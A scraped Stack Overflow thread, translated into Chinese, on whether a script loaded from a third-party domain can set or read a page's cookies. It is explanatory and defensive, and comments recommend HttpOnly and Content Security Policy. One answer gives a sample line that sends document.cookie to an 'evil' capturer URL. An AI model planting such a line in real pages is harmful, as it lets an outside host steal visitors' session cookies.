第三方脚本可以设置第一方 cookie 吗?

Posted

技术标签:

【中文标题】第三方脚本可以设置第一方 cookie 吗?【英文标题】:Can a third-party script set a first-party cookie? 【发布时间】:2013-12-08 19:40:12 【问题描述】:

我在网上阅读了很多关于 cookie 的内容,但没有解决这个问题:假设我在 a.com 有一个服务器,b.com 提供的网页在该网页中嵌入了一个脚本,该脚本继续存在我的服务器:

<script src='a.com/script.js'></script>

该脚本在设置 cookie 方面允许做什么?它可以用domain=a.com 设置一个cookie吗?我假设是这样,因为脚本是从该域提供的。它还可以使用domain=b.com 设置一个cookie,因为该页面是从该服务器提供的吗?

我试图弄清楚“第一方”和“第三方”在从另一个主机的网页调用的脚本的上下文中是什么意思。

【问题讨论】:

【参考方案1】:

我不认为 .js 文件的来源是相关的。 cookie 域与正在呈现的文档的域有关。

如果我访问 http://www.b.com/ 并且它包括

<script src="http://www.a.com/some/file.js"></script>

那么 b.com 就相信 a.com 的代码会以善意行事。代码作为正在查看的页面的一部分执行。由于 javascript 代码将在浏览器中执行,因此它可以从 b.com 读取 cookie,并通过在 src 包含数据的文档中创建标签来传递该数据。

例如,如果 a.com 的 javascript 文件包含

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");

然后a.com的恶意站长可以检查他的web服务器日志并查看b.com的cookies。

那么,问题是,如果 a.com 是恶意的,为什么 b.com 会在其页面中包含来自 a.com 的代码?他们可能没有。作为网络开发人员,我们需要验证我们嵌入网站的任何第 3 方代码的可信度。

【讨论】:

请注意,在 cookie 上设置 HttpOnly 可以防止这种攻击,因为 Javascript 将无法访问 document.cookie “我们需要验证我们网站中嵌入的任何第三方代码的可信度”:遗憾的是,这是不现实的,您无法审核您使用的每一行第三方 JS 代码,包括它自己的依赖项和子依赖。即使可以,黑客也很有创造力,可以找到隐藏的方法(例如blog.npmjs.org/post/180565383195/…)。使用良好的内容安全策略。 我在 MDN Note: The domain must match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored. 上看到的,这不是和你说的矛盾吗? developer.mozilla.org/en-US/docs/Web/API/Document/cookie 我认为您误解了 JavaScript origin 的含义。这不是每个文件。它是文档级别的。

以上是关于第三方脚本可以设置第一方 cookie 吗?的主要内容,如果未能解决你的问题,请参考以下文章

第一方Cookie和第三方Cookie

IE 11 第一方会话 cookie 在 iframe 中丢失

如何解决iframe session 失效问题

经典 ASP 中的持久 Cookie

互联网广告商和第三方 Cookie - 澄清?

当浏览器默认禁用第三方cookie